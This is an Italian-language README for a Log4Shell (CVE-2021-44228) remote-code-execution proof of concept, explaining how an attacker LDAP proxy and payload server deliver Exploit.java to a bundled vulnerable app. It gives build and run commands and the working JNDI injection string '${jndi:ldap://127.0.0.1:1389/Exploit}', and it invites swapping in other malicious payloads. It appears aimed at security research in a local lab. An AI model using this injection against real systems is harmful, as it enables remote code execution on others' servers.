
Un PoC di esecuzione di codice remoto per Log4Shell (CVE-2021-44228)
Questo repository permette ai ricercatori di sicurezza di sperimentare l'esecuzione remota di codice, offrendo un'implementazione di un server d'attacco che carica un exploit personalizzato su un'applicazione vulnerabile contenente log4j.
⚠️ Lo strumento è pensato per l'autovalutazione e deve essere utilizzato solo da persone autorizzate o ricercatori. Dovresti testare solo sistemi su cui hai esplicita autorizzazione o autorità. Se trovi applicazioni o librerie vulnerabili, dovresti praticare la divulgazione responsabile.
CVE-2021-44228 funziona iniettando una stringa JNDI LDAP nei tuoi log, che induce Log4j a contattare il server LDAP specificato per cercare ulteriori informazioni. In uno scenario malevolo, il server LDAP può quindi servire codice alla macchina vittima che verrà automaticamente eseguito in memoria.
Il repository contiene due sotto-progetti. Il progetto attacker-server contiene il codice sorgente di due server threadati. Il primo è un proxy LDAP che riceve la richiesta iniziale per un oggetto LDAP. Il secondo server è il server di payload che serve l'Exploit (presente in Exploit.java) all'applicazione vulnerabile.
Nella radice del progetto:
mvn clean install
Sia il server che l'applicazione vulnerabile dovrebbero essere pronti.
Per caricare il server, esegui:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
Per attivare l'RCE, esegui:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Puoi cambiare il payload malevolo su richiesta estendendo Exploit.java